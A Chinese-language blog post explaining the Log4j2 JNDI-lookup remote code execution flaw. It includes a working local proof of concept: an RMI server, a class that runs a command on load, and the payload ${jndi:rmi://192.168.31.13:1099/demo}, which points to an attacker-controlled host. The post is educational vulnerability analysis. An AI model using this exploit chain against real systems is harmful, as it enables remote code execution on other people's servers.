Log4j是Apache软件基金会下的一个开源项目,通过使用log4j可以打印程序日志输出信息到控制台,文件等各种地方。简单来说,它是一个用于记录日志的Java第三方库,而且使用量非常广泛。
在2021年12月9日,Log4j2爆出极其严重的漏洞,攻击者只需要构造恶意数据植入日志记录中,就可以导致任意代码执行,危害极大,利用门槛极低。
Log4j2中提供了一种叫lookups的功能,这个功能很强大,可以把 {} 部分进行替换
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String content = "world";
logger.trace("hello {}",content);
//https://logging.apache.org/log4j/2.x/manual/lookups.html
String content2 = "${java:os}";
logger.trace("hello {}",content2);
String content3 = "${java:vm}";
logger.trace("hello {}",content3);
}
}
打印结果:
2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)
这还不要紧,它还支持 JNDI lookup 就很要命了
本地启动一个JNDI服务看看
public class SimpleJndiServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("create rmi 1099");
Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("demo", wrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
}
public class JndiObj implements ObjectFactory {
static {
System.out.println("this is JndiObj,i'm here!");
try {
//打开远程链接
Runtime.getRuntime().exec("mstsc");
} catch (IOException e) {
e.printStackTrace();
}
}
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new JndiObj();
}
@Override
public String toString() {
return "JndiObj{" +
"name='" + name + '\'' +
'}';
}
}
写入日志:
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
//JNDI注入参考链接
//https://blog.csdn.net/caiqiiqi/article/details/105976072
//192.168.31.13为客户端ip(攻击者ip),不是服务ip
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String content4 = "${jndi:rmi://192.168.31.13:1099/demo}";
logger.trace("hello {}",content4);
}
}
可以看到这次我日志中的内容变成了${jndi:rmi://192.168.31.13:1099/demo},这里需要注意的是192.168.31.13是我的本机ip,也就是攻击者的ip。会弹出一个远程连接的命令。
整理利用流程:${jndi:rmi://192.168.31.13:1099/demo}被打印到日志中,会被lookup会对其进行解析,并替换解析后的值,插入到记录语句中。
很多时候我们记录在日志中的动态参数都是对象,这些对象可能是从前端或者别的服务请求过来的。比如一个登录接口,如果User对象中的userName的值就是我们上面写的${jndi:rmi://192.168.31.13:1099/demo},那后果真的是不堪设想